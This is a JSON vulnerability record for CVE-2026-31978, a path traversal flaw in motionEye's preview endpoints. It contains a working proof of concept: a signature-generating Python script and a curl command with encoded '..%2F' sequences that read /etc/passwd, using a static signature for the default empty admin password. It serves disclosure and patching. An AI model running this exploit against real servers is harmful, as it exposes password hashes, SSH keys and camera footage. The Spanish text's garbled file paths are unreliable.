{"id":"CVE-2026-31978","aliases":["CVE-2026-31978","GHSA-g9fx-5r4h-pcw3","PYSEC-2026-2664"],"related":[],"kind":"vulnerability","state":"published","title":"motionEye: Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint","summary":"motionEye (mEye) is an online interface for motion software, which is a video surveillance program with motion detection. Versions prior to 0.44.0 are vulnerable to path traversal in the picture and movie API endpoints, suhc as /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions such as get_media_preview() check for .. sequences in the filename parameter, except for get_media_content(). This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user, such as:  /etc/passwd, /etc/shadow, motionEye config files containing password hashes and plaintext passwords, SSH keys, and other cameras' surveillance footage. This issue has been fixed in version 0.44.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"motionEye (mEye) is an online interface for motion software, which is a video surveillance program with motion detection. Versions prior to 0.44.0 are vulnerable to path traversal in the picture and movie API endpoints, suhc as /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions such as get_media_preview() check for .. sequences in the filename parameter, except for get_media_content(). This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user, such as:  /etc/passwd, /etc/shadow, motionEye config files containing password hashes and plaintext passwords, SSH keys, and other cameras' surveillance footage. This issue has been fixed in version 0.44.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nmotionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.\n\n### Details\n\nThe `get_media_content()` function properly validates the path:\n\n```python\n# mediafiles.py ~line 506 — SAFE\ndef get_media_content(camera_config, path, media_type):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n\n    if '..' in path:        # <-- PATH TRAVERSAL CHECK PRESENT\n        return None\n    ...\n```\n\nBut `get_media_preview()` does NOT:\n\n```python\n# mediafiles.py ~line 910 — VULNERABLE\ndef get_media_preview(camera_config, path, media_type, ...):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n    # <-- NO '..' CHECK\n    ...\n```\n\nSimilarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern.\n\nThe exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`.\n\n### PoC\n\n**Step 1:** Authenticate as any user (normal or admin).\n\n**Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1(\"GET:<path>?_username=<user>::<password>\")`. With the default empty admin password:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Signature generator for motionEye path traversal PoC\"\"\"\nimport hashlib, re, urllib.parse\n\n_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\\[\\]\\\":, -]', re.DOTALL)\n\ndef compute_signature(method, path, key=''):\n    parts = list(urllib.parse.urlsplit(path))\n    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']\n    query.sort(key=lambda q: q[0])\n    query = [(n, urllib.parse.quote(v, safe=\"!'()*~\")) for (n, v) in query]\n    query = '&'.join([(q[0] + '=' + q[1]) for q in query])\n    parts[0] = parts[1] = ''\n    parts[3] = query\n    path = urllib.parse.urlunsplit(parts)\n    path = _SIGNATURE_REGEX.sub('-', path)\n    key = _SIGNATURE_REGEX.sub('-', key)\n    return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()\n\npath = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'\nsig = compute_signature('GET', path)\nprint(f'Signature: {sig}')\nprint(f'curl --path-as-is -s \"http://TARGET:8765/{path}&_signature={sig}\"')\n```\n\n**Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending):\n\n```bash\n# With default empty admin password, the signature is static:\ncurl --path-as-is -s \"http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c\"\n```\n\n**Step 4:** The server returns the contents of `/etc/passwd`.\n\n**Verified output:**\n\n<img width=\"1743\" height=\"410\" alt=\"etc_passwd\" src=\"https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64\" />\n\n> **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter.\n\n### Impact\n\nAn authenticated user (normal or admin) can read arbitrary files from the server, including:\n\n- `/etc/passwd` — user enumeration\n- `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext\n- `/etc/shadow` — password hashes (if running as root, which is default in Docker)\n- SSH keys, environment variables, and other sensitive configuration files\n- Surveillance footage from other cameras","format":"markdown","source":"ghsa"},{"lang":"es","text":"motionEye (mEye) es una interfaz en línea para el software motion, que es un programa de videovigilancia con detección de movimiento. Las versiones anteriores a la 0.44.0 son vulnerables a salto de ruta en los endpoints de la API de imágenes y videos, como /picture/{id}/preview/{filename}. Ni los manejadores de la API, ni las funciones de mediafiles.py como get_media_preview() verifican secuencias .. en el parámetro filename, excepto get_media_content(). Esto permite a un usuario autenticado con privilegios normales (no de administrador) leer archivos arbitrarios del sistema de archivos como el usuario del proceso motionEye, tales como: /etc/p4ssd, /etc/sha4dow, archivos de configuración de motionEye que contienen hashes de contraseñas y contraseñas en texto plano, claves SSH y grabaciones de vigilancia de otras cámaras. Este problema ha sido solucionado en la versión 0.44.0.","source":"nvd"}],"published":"2026-06-22T17:10:38.000Z","modified":"2026-10-25T22:10:00.150Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-22","CWE-284"],"affected":[{"ranges":[{"version":"< 0.44.0","status":"affected"}],"vendor":"motioneye-project","product":"motioneye","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.44.0"}],"ecosystem":"PyPI","package":"motioneye","purl":"pkg:pypi/motioneye","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.44.0"}],"ecosystem":"PyPI","package":"motioneye","purl":"pkg:pypi/motioneye","source":"pysec"}],"references":[{"url":"https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g9fx-5r4h-pcw3","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/motioneye-project/motioneye/releases/tag/0.44.0","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/motioneye-project/motioneye","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/motioneye","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-g9fx-5r4h-pcw3","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31978","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-06-25T23:01:33.345Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-31978","url":"https://www.cve.org/CVERecord?id=CVE-2026-31978","licence":"CVE Terms of Use","modified":"2026-06-25T23:02:04.304Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-g9fx-5r4h-pcw3","url":"https://github.com/advisories/GHSA-g9fx-5r4h-pcw3","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:27.298Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-31978","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31978","licence":"Public domain","modified":"2026-10-25T22:10:00.150Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2664","url":"https://osv.dev/vulnerability/PYSEC-2026-2664","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:39.652Z"}],"updatedAt":"2026-11-25T22:59:25.734Z","epss":{"score":0.00336,"percentile":0.28889,"date":"2026-12-01T12:00:22.000Z"}}